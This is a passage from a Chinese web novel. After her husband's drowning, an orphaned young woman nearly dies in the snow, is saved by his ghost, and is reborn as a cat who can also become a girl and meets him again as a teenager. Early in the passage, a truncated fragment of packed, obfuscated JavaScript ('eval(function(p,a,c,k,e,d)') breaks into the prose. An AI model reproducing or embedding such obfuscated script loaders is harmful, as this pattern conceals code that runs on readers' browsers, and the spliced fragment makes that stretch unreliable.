可院里的孩子太多了，工作人员也很多，大家的素质也参差不齐，日子过得并不算舒心。 不知从什么时候起，小猫渐渐有了自己的思想，她不想永远待在这里，想亲自去见识外面的世界。 不是每年定时被人带着出去旅游一两天，更不是每年要见一群陌生的人，给他们戴红花、表演节目。 她总是沉默不语，尤其是年龄大些已经确定领养不出去，因为到年龄孩子习惯心智形成，再加上变成少女，被带走开始有潜在危险，只能永远的生活在这里，除非读书走出去。 小猫是没可能的。 每周来的自愿者会给他们讲外面的花花世界，讲时下流行的新鲜事。 这些东西，对他们来说如同天方夜谭。 那时候，小花什么都不懂，更不爱学习。 久而久之，开始会被一切外界到来的人和事吸引，开始强烈逃跑的心理。 没人知道，这个一向内向、沉默寡言的女孩，心里藏着这么大的叛逆。 后来福利院里发生了一场火灾，他们一群孩子趁机逃了出来。 那时候，他们还只是一群八九岁的孩子，单纯又无知，从未接触过外面的世界。 他们知道，有很多人在找他们。 不过，他们就那么漫无目的的逃离着，对一切都很新奇。 沿途的一切都让他们觉得新奇，就那么慢慢的，饿到不行，自然就学会了摘野果子充饥；看到路边农户种的黄瓜、番茄实在诱人，忍不住去摘，会被人追着打骂；也曾因为饿得受不了，被好心人送到警局，或是被救助站的人收留，吃到过饱饱的一顿饭。 只是更多时候，都要在路上饿上很久很久…… 小猫望着眼前的医生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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在这场模糊的幻觉里，她仿佛又听到了当年生命倒计时的钟声，记起了自己在意识消散前，突然听到远处传来下山的脚步声，不知哪来的力气，使劲的呼喊救命。 那时的她瘦得只剩一把骨头，被人轻易地抱了起来。 救她的人立刻拨通了报警电话，她被送进了医院。 这是她第几次从鬼门关里捡回一条命？ 她自己也记不清了。 同行的小伙伴都把小猫放弃了，却靠着自己顽强的求生欲重新活了下来。 从那以后，饥饿、寒冷与冬天，就成了小猫挥之不去的噩梦。 有时候，她在想，不如回到孤儿院吧，回到福利院，最起码不会饿着。 十几岁的同龄人都在上学，没有一个人在流浪，又要面对不太舒心的群居生活，精神的折磨。 所以，小猫总是盼望春天，春天、夏天的小猫会精神十足，觉得这个世界都是自己的。 被同伴放弃，对他们这群流浪的孩子来说，其实是再平常不过的事。 小猫和所有的人都经历过。 她并不会有怨恨。 那一次，她在医院养了几个月的病，还和小伙伴们断了联系，那是她第一次和他们分开这么久。 十四岁的少女，似乎更习惯了一个人的生活。 她觉得自己更习惯一个人的生活，慢慢学会了独自面对困境。 重新和他们在一起后，他们断断续续分开又汇合，人长大了，会想很多，有各种各样的想法，不再弱小，不再需要合力才生存下去。 小猫知道，下次的转场，或许就是她决定独自离开的那一天。 没错，就是在她快满十七岁的那天。 那天阳光很好，她没有丝毫犹豫，选择了一个人踏上前路。 19. 第 19 章 所谓的自由，早就在无尽的流浪里消磨殆尽，他们这类人，总需要给自己寻些盼头撑下去。 小猫在梦里看见了自己孤独前行的背影，起初是利落的短发，像个假小子，后来渐渐长到了肩头之下。 这段路，是她熬过的两年，满是艰难与痛苦，却也让她彻底看透了人生。 人到了这个年龄所有的人生观世界观价值观全部形成，小猫与人说话越来越少，一年都没不会说几句话，很多时候被人当成哑巴，她都不知道该怎么开口与人交流。 终于有一天，她好像是真的走累了。 视角仿佛从高空俯瞰，小猫看见那个小小的身影走着走着，忽然停住，坐在了路边的石墩上。 城镇的道路上，她茫然地望着来来往往的人群，眼神空落落的。 不知何时，石墩旁的路灯亮了，暖黄色的光轻轻落在她身上，把影子拉得很长很长。 是啊，她看透了人生，也真正读懂了生命。 而彻底懂了的那一刻，小猫只剩下沉默与安静。 人生是什么呢？ 是随时能坦然赴死，是不再为无人问津而痛苦，是心甘情愿去追寻孤独的滋味。 小猫看到那时候的自己，体会的当时的想法。 可此刻呢？ 她无比清楚，下一秒，她就会遇见人生里那朵明亮娇艳的花，遇见如光明般的丈夫。 那么此刻的人生，又该是什么模样？ 没有答案，却也不再觉得慌。 她想重新欣赏一遍下一刻最美的时光，许人生本就没有标准答案，不是热闹才叫活着，不是有盼头才叫人生。 就像路边的野草，没人在意它什么时候发芽、什么时候开花，可它还是会迎着风长，顶着雨活，哪怕最后只是枯了、黄了，实实在在地熬过了一整个春秋。 她想，自己真的就是野草，没有轰轰烈烈，没有众星捧月，可走过的路、吃过的苦、见过的风景，都是真的。 那些沉默的日子、安静的时刻，也都是真的。 没有多久，小猫看到自己迈开脚步，慢慢往前走。 没有急着要去的地方，也没有目的地，只是一步一步地走着。 人生就是这样，不是找到答案，而是慢慢学会和没有答案的日子相处。 既然当时就懂了这个道理，为什么这些天，还是会那样难过与伤心呢？ 周礼信，他来了。 谢小猫再次睁开眼时，窗帘缝里漏进一缕浅金色的晨光，轻轻落在枕头上。 她没有立刻起身，只是望着那缕光出神。 原来，从遇见他的那一刻起，周遭的氛围都是暖的，和以前的回忆都不一样。 全身都浸在一种暖洋洋的感觉里。 这里不是他们的婚房，只是一间普通的屋子，一张裹着暖意的被窝。 时间仿佛静止了，没有多余的画面，没有亡夫的出现，只有暖融融的床铺、温柔的阳光，还有让人沉醉的光影。 小猫忍不住贪恋这样的安静与美好。 曾经那个无人关心、无人疼爱的小猫，终于有了愿意收留她的人。 那个人好傻，好天真，每次与她见面都带着和煦的笑容。 那笑容，一次比一次浓烈。 他怎么会知道，最初的她流浪了太久太久，只是把他当成了能骗吃骗喝的傻瓜。 她还会暗自得意，觉得周礼信看不出她那些小心思。 那时候的她，没有什么羞耻心，也不觉得占便宜是件不光彩的事。 独自生活了两年，饿了太久太久，她太贪恋能吃饱喝足的日子，也太喜欢每次见到他时，心里涌起的那点希望的情绪。 每天躺在无人在意的破草窝里，只要想到见到他就能填饱肚子。 这份近在咫尺的盼头，就足以让她重新充满力气与希望。 这次，小猫一点都不想醒。 在半梦半醒间，她好像能认认真真、仔仔细细地看着他的脸，仿佛又和他轰轰烈烈地爱了一次。 她看见自己从最初的冷漠旁观，到后来眼神渐渐有了波动，再到会因为见到他而露出兴奋的表情，慢慢的，分开时还会忍不住左右不安。 小猫很清楚那时候的自己品名的压制着自己，他们是没有任何希望的。 像他们这样的人，身上藏着太多正常人没有的矛盾与敏感，也有着太多旁人无法忍受的缺点。 这些年他们遇到过很多同伴，走走停停，很少能逆天改命、过上普通人的生活‘ 哪怕是那些嫁了人的姐姐，没有依靠，没有娘家，胆小、渴望被爱、习惯讨好，几乎成了他们这群人共有的底色。 谢小猫对他没有需求，没有攀奢，对生命看透后，心一潭死水，不会对任何人产生波澜。 慢慢地，慢慢地，像一颗投入死水的石子，一圈圈涟漪不断扩散，让她那颗早已麻木的心，渐渐有了知觉。 他不是傻子，不是小猫以为的傻瓜，不是随意扔着钱给陌生的单纯笨蛋。 他的心意，其实表现得再明显不过。 小猫第一次感受到，一个男人看向自己时，眼神里会带着那样炙热又充满欲望的光。 第一次看见，有人会因为见到自己而露出那样激动又开心的表情。 第一次知道，有人会在警局找到她时，难以压制的兴奋。 她的心，软了。 小猫不想让这样一个真心待她的男人，真的被自己当成傻子。 她在心里下定决心，要和他在一起的那天，郊区的夜空格外干净，天上的星星格外明亮。 她跪在露天的草堆与纸板上，对着月亮磕了个头，轻声说：“老天啊，以后我不能再陪你了，希望你不要觉得孤独。” 谢小猫和周礼信选择了在一起。 这是斩断以前一切决定给他的答案。 他们结了婚，开启了一段全新的生活。 小猫享受了新的生活，不再战战兢兢，心一点点的放在了适合的位置。 她时常陷入矛盾之中，一会儿梦中都在享受这样美好的生活。 一会儿又担心他变心，他会对别的女人也会这样。 多数时候，小猫还是会本能地收敛起情绪，用一层薄薄的自我保护裹住自己，仿佛这样就能免于再受伤害。 可该来的离别与悲剧，终究还是没挡住。 小猫都不忍心回忆甜蜜的生活。 他们在秋日的街头牵着手慢慢走，那时的她，不再执着于揣测 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海面上空无一人，只剩下无边的空旷与寂寥。 现实也不是电影，不会浮在模板就可以生存下去。 他还是沉下去，因为近海，全世界救援队都在打捞，才把尸体拉了上来。 小猫似乎在梦中听到了他的呼救声，绝望的喊声，求生的欲望。 她无能为力，她真的很想拉他一把呢？ 可没有办法，好伤心啊。 终于，这场漫长的梦醒了。 谢小猫缓缓抬头，不远处的佛像在视线里愈发清晰。 她心里清楚，一切都该结束了。 “佛啊，”她在心里默念，“您那样慈悲，那样悲悯众生，能不能告诉我，现在该做什么？究竟该怎么办呢？” 彷徨、无措、局促、不安，像潮水般将她淹没。 在心底那个可怕的念头，也开始一遍又一遍在脑海里回响。 她用力摇头，绝不允许自己那样做。 她要好好吃饭，好好生活，哪怕做行尸走肉，也不要结束生命。 她该去接受那些他留下的钱，该住在他们曾经朝夕相处的房子里，该试着交新的朋友，过回正常人的生活。 抱着这样的念头，小猫在庙里吃了三天斋戒，然后决定回家。 再待下去，她怕自己真的要控制不住心底的崩塌了。 下山时天气并不好，刚走没多久就飘起了雪花，半山腰还起了雾。 她还是习惯走下去，不去做缆车。 只是不知道为什么，道路越来越窄，旁边过路的人越来越少。 小猫下意识地环顾四周，总觉得空气里裹着一丝说不出的诡异。 她并不害怕，还在继续沿着下坡路往前走。 忽然，身后传来一个熟悉的声音，轻轻唤着： “小猫......小猫......” 她猛地顿住脚步，不知道声音是从哪里传来的，只能慌乱地来回转身寻找。 就在这时，那声音又轻轻飘了过来，带着一丝挥之不去的温柔：“小猫......” 20. 这一世结尾 谢小猫恍惚间竟有些分不清现实与梦境，她用力揉了揉眼睛，眼前的人影却愈发清晰，真的是他。 周礼信从浓得化不开的雾气里缓缓走来，身上是那件她熟悉的白衬衫，姿态休闲又松弛。 距离一点点拉近，他的轮廓在朦胧中逐渐分明。 小猫下意识仰起头，望向他的脸。 还是记忆里最初的模样,没有一点的改变。 泪水毫无预兆地砸落，谢小猫甚至来不及擦拭，满心只剩难以置信的狂喜。 她真好开心，好快乐，他们居然在这里重逢了。 下一秒，周礼信伸手将她紧紧拥入怀中。 小猫清晰地感受到他胸膛的温度，感受到真实的肢体触感，那不是梦境里虚无的幻影，而是切切实实的存在肉、体。 这是真的，这一切居然都是真的? 小猫感觉自己兴奋的要死掉了。 她颤抖着抬起双臂，同样用力地回抱住他。 要将这些天的思念与遗憾，都融进这个迟来的拥抱里。 头顶传来周礼信低沉又温柔的声音：“小猫，你有没有想我？我走之后，你每天都在想我吗？我每天都在想你，盼望着和你重新见面。” 谢小猫将脸埋进他的肩膀，前所未有的安全感与满足感包裹住她。 她不住地点头，声音带着哭腔，却无比坚定：“有的，有的，我每天每晚都在想你。” 他说：“你有没有在撒谎呀？” 小猫没有撒谎，即便这些天极力的掩饰着，她还是没有撒谎，真的很想很想他。 这是真的。 她能感觉到，周礼信抱着她的力道又加重了几分，仿佛要将她揉进自己的骨血里，再也不分开。 “小猫，我每天都害怕与你在这里相遇，可是你来了，我又很开心。一个人待着太孤独了，我放心不下你，舍不得跟你分开，更怕你过得不开心。” 又重新听到这些甜言蜜语，她真的说不出的开心。 小猫轻轻推开他，目光落在他单薄的白衬衫上，忍不住轻声问：“你穿这么少，冷不冷啊？” 周礼信一直温柔地笑着看她，指尖轻轻拂过她的脸颊，语气带着安抚：“我怎么会冷呢？我一直都不会冷的。” 他没说的是，弥留之际在冰冷海水中的刺骨寒意，即便死后化作虚影，那份阴冷也从未消散，只是他早已失去了感知冷暖的能力。 此刻的谢小猫，满心都沉浸在重逢的喜悦里，早已无暇去细想这些话语里的蹊跷。 她拉起周礼信微凉的手，低头在他手背上轻轻吻了一下，语气里满是憧憬：“你能活过来实在是太好了，我们一起回家吧，我本来就是准备回家的。回家后我们天天待在房间，永远都不出来。” 周礼信看着妻子眼底亮晶晶的期待，眼神里闪过一丝不易察觉的黯淡，他伸手轻轻抚摸着她的脸，声音放得更柔：“傻瓜呀，我们回不去的。” 小猫摇摇头：“可以回去的，可以的。” 他没有再反驳，只是重新将她拥入怀中。 在这浓雾的山林中，周礼信牵着谢小猫的手，握得很紧很紧，仿佛怕一松开，她就会消失。 他低头在她耳边轻声呢喃一样说话：“你跟着我走，别怕别怕。” 谢小猫满心欢喜，眼底没有丝毫畏惧。 有他在身边，她又有什么好怕的呢？ 谢小猫就这么被他牵着手，在崎岖不平的山路上竟如履平地。 两人相互依偎着，缓缓走向弥漫的迷雾深处。 小猫能清晰地感觉到，他的手正一点点变得冰凉，面色也愈发苍白。 即便如此，他脸上的笑容依旧温暖，攥着她的手也丝毫没有松开，反而握得更紧了些。 她真的很享受此刻与他并肩同行的感觉，哪怕前方是地狱，她也心甘情愿。 周礼信感觉到旁边的人产生了一丝丝的诱惑，再次温柔的说话：“小猫，你跟我在一起快乐吗？要和我永远在一起吗？以后我们永远在一起，不要再回头了，一直跟着我吧......” 小猫用力点了点头。 她的目光落在前方，那条除了白雾再无其他的路上，心中却没有半分惧意。 “我一直很想跟你说对不起，以前我总没有好好待你。小猫喜欢你，想多看看你，就算是上刀山下火海，也一点都不觉得辛苦。”她垂下头，声音带着一丝哽咽，“我生来就为了早点死的，苟活到现在大概就是为了遇见你。这些天，我不知道一次的想要结束生命陪着你，可是，我没有勇气。我怕疼，怕黑，怕躺在冰冷的太平间里，怕死后被搅成肉馅，更怕埋进土里就再也没有来世……像我这样的人，死后大概也不会有人记得给我烧纸吧，也会变成乞丐，我讨厌这样，我害怕这样。” 周礼信停下前进的脚步，他的脸色比刚才还要苍白几分，原本略显呆滞的眼底竟泛起了泪光，眼角也微微泛红。 他的妻子，他的小猫，从来没有对他说过这样的话。 他一直都知道，她那双高冷漠然的眼眸背后，藏着的全是脆弱。多想她是真正的满不在乎，心是麻木的，宁愿她没有动心。 动了心，就会有牵挂，就会受伤害。 此刻，他们正走在去往阎王老爷的通道，没有回头之路。 是的，小猫快要死了。 她自己恐怕都不知道，生命正在一点点从她身体里流逝。 上山之前，小猫在电视上又看到了她其中的一个伙伴找到了家人，还是同样的画面，所有人喜极而泣。 小猫还在说服自己，那些人找到亲人也不会真正得到爱，他们就是抛弃了他们。 这件事无法改变，也不会逆转任何。 可结果呢？她清楚地知道，这样的团圆，她永远都得不到。 那是小猫第一次主动跟路人搭话，她问来了当地派出所的电话，拨通后报上自己的名字，小心翼翼地询问有没有关于她家人的消息。 电话那头的警察给了她一个无比肯定的答案，他们已经排查过很多次，暂时没有找到与她信息匹配的亲属。 小猫平时不怎么上网，也很少用手机，可她也知道，前些年开始，每个人都要实名注册身份信息，生活里处处都需要扫码验证。 既然这样都找不到，那答案只有一个，一定是她的父母不要她了。 这是她心中早已确定的事实。 小猫很难过，却又说不清楚这份难过究竟来自哪里。 是因为周礼信，还是因为心底那个小小的角落里，依然在渴望着那些根本不存在的亲情？ 想着想着，她眼前一黑，直直地晕倒了。 幸好周围的好心人收留了她，得知她是个孤儿后，不告诉她不远处，山上的寺庙里有免费的饭菜，住在那里就不会饿死。 这句话，像一束光，给了小猫救赎的希望。 她要上山，要吃饭，要活下去。 上山那天，山里下了很大很大的雪，她身上的衣服却单薄得可怜。 大约是心中的执念支撑着她，恍惚间，她好像看到了佛像、寺庙，还有缭绕的香火。 风刮得越来越大，她的脚步也越来越沉，累得几乎抬不起腿。 爬着爬着已经走不动了。 冰冷的风雪打在脸上，像刀割一样疼。 意识渐渐模糊时，她开始出现幻觉，仿佛看到了自己短暂一生的走马灯，一幕幕在眼前闪过。 小猫已经濒临死亡，就差最后一口气，她一点都不知道。 还以为是走在下山的路，准备迎接新的生活。 此刻，她身上的雪已经埋到了半身，身体早已僵硬得无法动弹。 在幻觉与意识中来回调换，到底是在冷冷的雪堆里，还是在下山的喜悦中，她已经分不清。 人们常说，人在临死前的最后一刻，总会想起一生中最美好的事。 小猫也是如此。 就在她濒临死亡，快要咽下最后一口气的时候，周礼信出现了，他是来接她的。 原来死后的世界，竟这么美好啊。 周礼信过来了，他之前变成一缕魂魄早就没了知觉，这次被派来接走这个女人。 他的妻子，带走她可以变成很小一段时间的人类。 能再次摸到她，感受到她的温度，周礼信的心中满是欢喜，真开心呀。 只是他们能接触感受到温度的时间很短很短，马上都变成死人，谁都变成行尸走肉，变得没有情感，变得暗无天日。 世人都说，妖精、草木、动物拼命修炼，天上的神仙也总想下凡，只为能变成真正的人。 可他可怜的小猫，却偏偏要在最渴望活下去的时候，走向死亡。 而领走她的人，是她的丈夫。 是他钻进了她的灵魂浮现出来的假象，也是他，即将勾走她最后一口气。 再过一会儿，他自己也会变成人不人、鬼不鬼的模样。 到那时，他们会松开彼此的手，会被阴风吹散，魂魄会飘向永远不会再相遇的地方。 此刻，听着小猫带着哭腔的心里话，周礼信这缕还能勉强维持人形的鬼魂，只觉得百感交集，痛苦万分。 他再也忍不住，猛地停下脚步，一把将她冰冷的身体搂进怀里，手掌一遍又一遍地轻轻揉着她的后背，像是在 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后来一次次见面，他被她身上独特的气质吸引，仿佛他们历经几十次轮回，又在此刻重新相逢。 他真的好迷恋她身上那股野草的味道，那味道让他心神激荡，涌起一种无法言喻的冲动。 是啊，二十多年了，他从未有过这样直接而强烈的冲动，想要亲吻她，想要拥有她。 如果知道一开始他们如此短暂的相遇就阴阳相隔，宁愿不去追求，不去占有她。 可是，他的小猫那样辛苦，令人心碎，又怎么忍心不去爱她呢？ 周礼信双眸紧紧盯着她，低头亲了亲她的额头：“小猫啊小猫，如果来世我们还有机会，一定要早点相遇。我愿意付出一切，换你托生在一个正常的家庭。” 周礼信决定送她回人间，自己灰飞烟灭。 只要她能活下去，就好好享受人生。 若是不能，他便用自己的遗愿，拖她回一个正常的家庭。 哪怕他们生生世世都不再相见。 他绝不会嫉妒她喜欢别人、爱上别人，更不愿勾走她的魂魄，只为换自己一次投胎的机会。 周礼信紧紧抱着她，最后还是猛地一推。 小猫像坠入悬崖一样，从消散不尽的迷雾中往下掉。 天空响起来声音。 “小猫，好好活着吧，一定要好好享受。” 坠落中，她仿佛穿过了一层又一层时光，看到了许多片段，看到了他做鬼时跟着自己的场景。 看着他飘散的魂魄缠在她的身上。 在街上，在房间里，在吊桥上，在山间小路上…… 无时无刻不再她的身边。 小猫流泪了，虽然此刻她哭不出来。 原来，他做成鬼都放心不下她。 最后，就在刚才，他的人形彻底崩塌，像灰尘一样消失殆尽。 谢小猫睁开眼睛，只觉刺骨的寒冷。 身上的雪已经积得很厚，压得她沉甸甸的。 她真的好累，这一生都活得疲倦、痛苦，难受。 在雪堆里，她听到了人类的脚步声，却没有像以前一样挣扎，默默地等待死亡的来临。 谢小猫真的很想做一只猫，做他身边的一只猫。 她可以为了他，下辈子不投胎做人，就做一只动物，能不能变成人跟她在一起都不重要。 这次，换她来付出吧。 幸而，小猫这一生没做过什么坏事，过惯了苦日子。 还不知道自己死没死时，有人问她：“你有没有什么心愿？” 小猫无比肯定地回答：“我愿意付出任何代价，只求不让周礼信从这世上消失。” 她死在了佛寺附近，被大师发现后做了超度。 大约，是真的得偿所愿了。 不知沉睡了多久，过了多少年，或许只是生命的重新开始。 小猫睁开眼时，发现地面离自己格外近。 她走了几步，到了城市的玻璃外窗下，原来自己真的变成了一只大白猫。 不，是小白猫。 小白猫长得又可爱又娇小，她试着发出声音，是很细嫩的猫叫。 看样子刚出生不久。 就是这声叫，吸引了人过来。 那男孩十六七岁，穿着高中白衬衫校服，一把将她抱了起来。 他眉眼间带着少年气，又透着英俊，笑眯眯地摸着她光滑的脊背：“哇，好漂亮的小猫咪，就是身上脏脏的，该不会是流浪猫吧？” 小猫能认出这个人是谁，就是她那亡夫少年时。 21. 新生 周礼信再度投胎，依旧降生在优渥之家，家境优裕，父母疼爱。 而谢小猫，却成了一只无依无靠的流浪猫。 这次他们真的没有相遇，流浪猫的寿命只有很短的时间。 小猫什么感觉都没有就死去了。 不过这时候的小猫什么意识都没有。 转眼到了第二次轮回，谢小猫依旧投生成了猫。 奇妙的是，这一世她同时拥有了人的形态。 至于自己究竟是人是猫，连她自己也说不清楚。 她流浪过二十年，又当流浪猫很短一段时间，或许连上天也难以定夺，这辈子该让她过苦日子还是好日子 每个月总有那么几天，她会不受控制地变回猫，独自在街上漫无目的地游荡。 好在，这一世她终究得偿所愿，出生在一个富裕的中产以上家庭。 父母性情宽和，学识渊博，且只有她这一个宝贝女儿，日子过得安稳又幸福。 还有了自己的名字，谢青艺。 周礼信，也一如既往地优秀正直，身边有深爱他的父母，家境依旧优渥，生活顺遂无忧。 那么，谢小猫究竟是何时开始拥有意识的呢？ 就是作为流浪小白猫被十六七岁的亡夫抱起来，柔地用额头抵着小白猫的头，变成猫的谢小猫对这个气味太熟悉了，她下意识地舔了舔他的嘴唇。 就是这一瞬间，所有记忆如潮水般汹涌而来。 这辈子两家住的很近，只不过小学、中学同校不同班，一直都不认识。 高中终于一起上了重点班，做了同班同学。 离奇的是，他们居然从来没有说过话。 谢小猫想起这些时，还不忘抬头看了下抱着自己的亡夫，真奇怪，上辈子爱的死去活来，这辈子一句话都没说过。 谢小猫依旧改不了爱睡觉的性子，或许是前两辈子过得太过辛苦，这一世上天不仅给了她一张美颜版可爱白净的脸庞，还赋予了她超高的智商。 即便常常在课堂上睡觉，成绩也总能稳居班级前几名，与向来勤奋好学的周礼信不相上下。 嘿嘿，小猫开心了。 起初，谢小猫以为自己每个月变猫的日子只是一场荒诞的梦，直到某次变猫时，她在街头看到了同班同学，才惊醒，原来自己真的拥有这样奇异的能力。 一个月做几次猫，也没什么大不了。 她本就是个脑回路清奇的人，震惊也不过持续了几秒，便坦然接受了自己会变猫的事实。 还没做流浪猫几次，就遇见了关爱流浪动物的周礼信，在大街上就这么轻易被他捡回家，抱在怀里不松手，不给任何同学看。 当一人一猫以这样特殊的跨物种亲吻后，谢小猫可以清晰地看到，周礼信的眼神骤然变直了，带着几分难以置信的震惊看向她，随即把她举起来，左看右看、上看下看，嘴里还喃喃自语：“怎么回事？好离谱。” 谢小猫观察了下他的眼神和状态，似乎他也记起从前的事了。 不然，谁会对一只猫露出不明所以的眼神？ 周礼信兴奋地抱着这只意外相遇的流浪小白猫回了家。 他的父母十分开明，见儿子带了猫回来，立刻就去超市采购猫笼和猫砂，没有丝毫责备。 回到家后，他单手抱着谢小猫走进了自己的卧室，迅速关上门。 喔~ 原来班里最帅男生的卧室是这样，一点都不高冷，挺温馨的。 房间以白色和蓝色为主调，墙上还贴着篮球明星的海报，动漫人物。 和普通少男少女没有区别。 是啊，该死的亡夫还特别爱打篮球，有空就去，她就见过好几次，头发甩来甩去取吸引旁人的目光，很不守夫道。 想到这里，小猫狠狠的“喵”了一声，表达了一下不满。 周礼信立刻放下书包，抱着她躺到床上。 以前倒没仔细瞧，也没有注意，原来年少时的老公，原来这么好看。 跟之前做梦时一模一样。 他用双手轻轻夹着小猫的两条腿举起来，自己则枕着枕头，眼神痴痴地落在她身上，久久没有移开。 谢小猫眯着眼睛，被他这么夹着，只觉得懒怠，懒得理会他的注视。 过了好一会儿，周礼信将这只白猫搂进怀里，轻声呢喃：“你怎么……长得这么像人呢？” 谢小猫：“......” 从放学回家，到吃完晚饭，再到伏案写作业，甚至去厕所…… 无时无刻都抱着小猫，一刻都没有松手。 谢小猫一点都不想作为动物跟着他上厕所，看到一切不该看的东西。 不过，周礼信真努力，小猫还是很懒。 被他清洗干净后，窝在台灯下就开始睡觉。 迷迷糊糊间，感觉自己睡了很久，醒来时，却见他还在灯下认真看书。 他可真是榜样，好学生，怪不得邻居都赞不绝口，成为别人家的孩子。 对比自己，看着书就想睡觉，就困的不行，真是天差地别。 趁着周礼信专注读书的间隙，小白猫悄悄从他的卧室溜了出来，顺着窗户跳了出去，消失在夜色里。 第二天一早，谢小猫背着书包，像往常一样走进了学校。 不知道是不是以前他们彼此都不在意对方，今天谢小猫竟和周礼信在校门口不期而遇。 周礼信骑着自行车，熟练地停进停车场。 谢小猫则刻意把车停在了稍远些的地方，目光却忍不住悄悄追着他的身影。 随后两人一前一后上了教学楼，踩着早读铃的尾巴，先后走进了教室。 他不打招呼，她才不想主动呢。 整个上午，她都悄悄沉浸在只有自己知道秘密的小窃喜里，还有知道周礼信对着一只猫又抱又亲的快乐中。 最起码，他不知道那只猫是她。 下课后，包括周礼信在内班里的好学生们便自发围到一起，捧着数学卷子争论解题思路，你一言我一语地互相讲解、说服，热闹得很。 唯独谢小猫，依旧趴在桌子上，头一歪就续上节课没做完的梦。 “小艺！小艺......” 还在沉浸在下课十分钟的梦境中，谢小猫的课桌被人用指节轻轻叩响。 谢小猫缓缓抬起头，映入眼帘的竟是周礼信，还有他身边几个同样拿着卷子的同学，所有人的目光都落在她身上。 同学把卷子递到她面前，指着上面一道题，语气带着几分急切：“小艺，全部这道题就做作对了，讲讲呗......” 谢小猫高冷的全校人都知道，明明长着一张软乎乎的可爱脸蛋，性子却冷得像御姐。 谁在她走路时送情书都随手扔掉，这份酷劲儿，和她的模样实在格格不入。 她揉了揉惺忪的眼睛，拿起卷子扫了一眼，声音淡淡的：“不是有答案吗？” “答案我们知道，但你的解题方法更简单啊，就跟我们说说嘛！” “哦。”谢小猫应了一声，算是答应了。 围着的几个学生立刻凑得更近了些，等着她讲解。 谢小猫身体很敏感，立刻察觉到周礼信的胳膊不小心蹭到了自己的袖子。 她定了定神，用最简洁的语言把解题思路说了一遍，说完下意识地抬头，正好对上周礼信的目光。 只见这位亡夫唇边噙着一抹淡淡的笑，声音不高不低，清晰地传到她耳朵里：“真聪明......” 他们明明才是十六七高中生，不能说这么暧昧的话的...... 小猫更确定他发现了自己。 不过，应该不知道那只猫是她。 下午的体育课，老师先让他们围着操场跑两圈热身。 体育委员在队伍旁喊着整齐的口号，不知是谁突然讲了个笑话，大家瞬间笑作一团。 唯独小猫和周礼信，两人都沉着脸没半点反应。 不过，他们本就毫无关联，平时在学校也几乎没有交集，就算此刻反应一致，应该也没人会觉得有什么异样。 自由活动时，周礼信又和同学打篮球，小猫第一次坐在旁边和同学一起看。 眼光从他身上游走来转换去，以前完全没感觉的动作，今天不知哪来的滤镜，给他塑造出了光环。 不过，周礼信很高冷，丝毫 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都同学这些年了，他们两邮箱、手机号任何联系方式都没有。 小猫一点都不爱玩手机，每天的爱好还是出去找吃的，偶尔打打游戏，其他只要放假就想睡觉。 初三时办的手机号，到现在她都没记住。 她皱着眉想了好一会儿，实在没回忆起号码，很老实回答：“我真忘了。” 他挑眉看向小猫：“真的假的？这都可以忘？” 他很怀疑小猫不打算跟他接触，是怕这个年龄发一些肉麻的话让四位家长和老师们抓狂吗？ 班级里成绩最好的两个学生要是谈恋爱，确实是件让所有人都难以承受的事。 第二天，小猫把手机悄悄带到了学校，然后锁在了柜子里，准备中午下课时玩上一会儿，顺便加上他的微信。 刚回到座位，小猫看到自己课桌里有一包酸奶。 视线扫过教室角落，她瞬间就知道是谁放的。 以前有人送礼物她都是直接扔的。 这次，她不仅把酸奶留了下来，还拆开一口气喝完了。 上数学课时，格外巧合的是，数学老师正好点了他们俩上黑板解题。 题目是有点难度，以两人的智商，解出来并不算费力。 没想到，周礼信算到最后几步时，却突然卡住了，没做出来。 他抬着头，语气里带着点不服气，对老师说：“老师，您再出一道题吧！要是这次我还做不出来，就给谢小艺买一个月的早餐。” “......” 看着是对赌，实际要做什么，他俩都很清楚。 结果周礼信还是差了最后一步想不起来公式，做不出来。 谢小猫才不会委屈自己装作不会，他愿意每天送早餐，那就送呗。 走下讲台回座位时，周礼信还故意装出一副懊恼的样子，压低声音嘀咕：“这题我怎么可能不会！这下要亏一个月零花钱了！” 周围的同学没看出破绽，还真以为他是输了赌约，一个个都跟着起哄。 就这么顺理成章地，接下来的日子里，周礼信每天都会光明正大地带两份早餐。 要么从家里带回来三明治，要么自己在街边早餐店买，真的还挺丰盛。 每天换着花样。 小猫很满意，她老公还是很会做人的。 谢小猫变成猫后的那几日，在学校和家附近都没看到周礼信的身影，只好特意跑到他住的小区，在他面前晃来晃去。 走到他坐在小区公椅上，手里拿着书却眼神发愣的神情，就知道想她了。 现在不好好读书，满脑子都在想老婆，实在不是好学生作风，她在家里从来都不会发呆想他。 小猫朝着他“喵”了好几声，周礼信这才回过神，弯腰把这只小白猫抱了起来。 和往常一样，他抱着猫，会仔细端详好几遍，轻声呢喃：“你真的和她长得好像啊......” 谢小猫舒服地窝在他怀里，又“喵”了两声，感受着他掌心的温度，没多久就暖洋洋地睡着了。 22. 猫与人形 正文完结 谢小猫和周礼信暧昧搞了高二一整年。 他们都知道彼此是谁，却谁都不说。 小猫不说是因为她才不想主动呢。 周礼信不说是因为这个年龄捅破百害无一利，万一控制不住自己怎么办？ 不，一定控制不住自己。 好学生就应该考大学，先好好学生，做榜样！ 越是心里有鬼，在班里越不敢单独相处说话，谁能想到一整年的时间，每天进了校门都会心跳加速。 连带着成绩都跟着忽高忽低，直到下学期才稳定下来。 哎，谁能想到，受影响最大的是他呀。 小猫之所以完全不受干扰不影响的原因是，只要变成那只小白猫，她就能肆无忌惮地舔舔他的脸，钻进他的被窝里蹭来蹭去，单是这份独有的亲近，就足够填满她所有的情绪需求了。 不过，她没有想到的是自己居然会变成人形。 高三的暑假，。那天她又变成猫，窝在周礼信怀里，吹着空调窝在被褥上，和他一起睡午觉。 迷迷糊糊间，一声尖锐的尖叫突然把她惊醒。 小猫还没睁开眼就感觉身体重重的，白猫的身体是很轻盈的。 她费力地睁开眼，就看见周礼信已经猛地跳下床，正一脸震惊地盯着她，眼睛都快瞪圆了。 这时小猫才后知后觉地发现，自己竟然变回了人形，身上还什么都没穿。 她慌忙抓过旁边的毯子裹紧自己，脸颊瞬间烧得通红，结结巴巴地开口：“你别叫......” 话一出口又觉得不对，好像应该说自己别叫，他是人。 周礼信还是一副不敢置信的样子，指着她，嘴唇都在抖，“你、你、你……这一年来，那只猫一直都是你？” 这个傻男人，还愣着呢，万一他爸妈下班回家看到赤身裸..体一切都完蛋了。 